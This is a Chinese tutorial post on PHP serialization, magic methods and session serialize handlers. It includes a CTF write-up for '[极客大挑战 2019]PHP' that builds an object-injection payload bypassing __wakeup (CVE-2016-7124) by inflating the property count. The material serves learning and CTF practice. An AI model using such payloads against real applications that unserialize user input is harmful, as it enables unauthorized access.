PHP序列化是什么

两个函数

1
2
3
4
serialize()     //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

在php中,可以对数组,变量,对象等进行序列化(静态变量,常量不会被序列化)

通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//序列化
<?php
class test
{
private $flag = "flag{123456}";
protected $flag2 = "flag{753159}";
public $aa = "123";
static $bb = "456";
}

$test = new test;
$data = serialize($test);
echo $data;
?>

运行结果

结果

1
2
3
4
5
6
O:4:"test"指Object(对象) 4个字符:test
:2 对象属性个数为2
{}中为属性字符数:属性值

对private变量序列化后会在变量名前面加入 %00类名%00
对protected变量序列化后会在变量名前面加入%00*%00
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//反序列化
<?php
$str='O:4:"test":3:{s:10:"%00test%00flag";s:12:"flag{123456}";s:8:"%00*%00flag2";s:12:"flag{753159}";s:2:"aa";s:3:"123";}';
$data = urldecode($str);
$obj = unserialize($data);

var_dump($obj);
?>

运行结果:
object(test)#2 (3) {
["flag":"test":private]=>
string(12) "flag{123456}"
["flag2":protected]=>
string(12) "flag{753159}"
["aa"]=>
string(3) "123"
}

魔术方法

在对PHP反序列化进行利用时,经常会遇到一些魔术方法。PHP手册

常见方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function __construct() 构造函数 当一个对象被创建时触发
function __destruct() 析构函数 当一个对象被销毁前触发
function __toString() 当一个对象转化成字符串触发
function __sleep() 反序列化时触发
//serialize()会先检查是否有__sleep(),将在序列化之前运行
function __wakeup() 反序列化的时候触发
//unserialize() 会检查是否有__wakeup(),在反序列化之前运行
function __call() 触发一个未定义的方法的时候
//必须传入两个变量,函数名和参数
// (string $functionName, array $arguments)
function __callStatic() 在静态上下文中调用不可访问的方法时触发
function __get() 读取一个对象无法访问/不存在的属性的时候
//在类中添加__get()方法,在直接获取属性值时自动触发一次,以属性名作为参数传入并处理
//必须有一个传入值
function __set() 用于将数据写入不可访问的属性
function __invoke() 当脚本尝试将对象调用为函数时触发
function __isset() 在不可访问的属性上调用isset()或empty()触发
function __unset() 在不可访问的属性上使用unset()时触发

比较重要的方法

__sleep()

1
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性

__wakeup()

相关漏洞CVE-2016-7124;php版本 PHP<5.6.25 & PHP<7.0.10

1
2
3
4
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。


绕过方法:需要使传入的属性个数大于真实属性个数

预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作

测试代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php 
class test{
public function __construct($id, $sex, $age){
$this->id = $id;
$this->sex = $sex;
$this->age = $age;
$this->info = sprintf("id: %s, sex: %s, age: %d", $this->id, $this->sex, $this->age);
}

public function info(){
echo $this->info . '<br>';
}
/**sleep()
* serialize前调用 用于删选需要被序列化存储的成员变量
* @return array [description]
*/
public function __sleep(){
echo __METHOD__ . '<br>';
return ['id', 'sex', 'age'];
}
/**wakeup()
* unserialize前调用 用于预先准备对象资源
*/
public function __wakeup(){
echo __METHOD__ . '<br>';
$this->info = sprintf("id: %s, sex: %s, age: %d", $this->id, $this->sex, $this->age);
}
}

$me = new test('zhangsan','male',18);

$me->info();
//存在__sleep(函数,$info属性不会被存储
$temp = serialize($me);
echo $temp . '<br>';

$me = unserialize($temp);
//__wakeup()组装的$info
$me->info();

?>

运行结果:
id: zhangsan, sex: male, age: 18<br>test::__sleep<br>O:4:"test":3:{s:2:"id";s:8:"zhangsan";s:3:"sex";s:4:"male";s:3:"age";i:18;}<br>test::__wakeup<br>id: zhangsan, sex: male, age: 18<br>

__toString()

1
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
测试代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
class test{
public function __construct($id, $sex, $age){
$this->id = $id;
$this->sex = $sex;
$this->age = $age;
$this->info = sprintf("id: %s, sex: %s, age: %d", $this->id, $this->sex, $this->age);
}

public function __toString(){
return $this->info;
}
}

$me = new test('zhangsan', 'male', 20);
echo '__toString:' . $me . '<br>';
?>

运行结果:
__toString:id: zhangsan, sex: male, age: 20<br>

方法调用顺序测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class test{
public $a='aaaaaaa';
public $b='bbbbbbb';
public function pt(){
echo $this->a.'<br />';
}
public function __construct(){
echo '__construct<br />';
}
public function __destruct(){
echo '__construct<br />';
}
public function __sleep(){
echo '__sleep<br />';
return array('a','b');
}
public function __wakeup(){
echo '__wakeup<br />';
}
}
//创建对象调用__construct
$object = new test();
//序列化对象调用__sleep
$serialize = serialize($object);
//输出序列化后的字符串
echo 'serialize: '.$serialize.'<br />';
//反序列化对象调用__wakeup
$unserialize=unserialize($serialize);
//调用pt输出数据
$unserialize->pt();
//脚本结束调用__destruct
?>


运行结果:
__construct<br />__sleep<br />serialize: O:4:"test":2:{s:1:"a";s:7:"aaaaaaa";s:1:"b";s:7:"bbbbbbb";}<br />__wakeup<br />aaaaaaa<br />__construct<br />__construct<br />

(测试代码均来自大佬博客,并非原创)

测试题:[极客大挑战 2019]PHP

题目存在备份文件www.zip

源码为👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono'; //private
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}
//wakeup 把username变成了guest
function __destruct(){
if ($this->password != 100) { //password 需要100
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') { //username 需要是admin
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
1
2
3
4
5
6
//index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select); //unserialize select变量
?>

结合上边提到的形成solution👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?
class Name{
private $username = 'admin';
private $password = 100;
}
echo serialize(new Name());
?>

//构造一个类使其满足题目要求,本题涉及到了__wakeup()函数的绕过

/**wakeup()
* unserialize前调用 用于预先准备对象资源
序列化结果:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}因username和password都为private所以需要在类名两侧加上%00
绕过__wakeup()函数需要使传入的属性个数大于真实属性个数(所以payload中的是3而不是序列化后的到的2
得到payload:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
*/

session反序列化漏洞

PHP的session机制

相关参数及含义(可以在php.ini中看到

更多有关php.ini的配置

Directive 含义
session.save_handler session保存形式。默认为files
session.save_path session保存路径。
session.serialize_handler session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。
session.auto_start 指定会话模块是否在请求开始时启动一个会话,默认false

存储机制

php中的session内容是以文件方式来存储的,由session.save_handler来决定。文件名由sess_sessionid命名,文件内容则为session序列化后的值

先通过一个样例代码,看看3种不同的 session 序列化处理器处理 session 的情况。

1
2
3
4
<?php
session_start();
$_SESSION['name'] = 'T0mr';
?>

根据php.ini默认的session存储位置找到了session文件内容为: name|s:4:"T0mr";

session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:4:"T0mr";}

session.serialize_handler=php_binary 时,session文件内容为: <0x04>names:4:"T0mr";

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize(php>5.5.4) 经过serialize()函数序列化处理的数组

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化.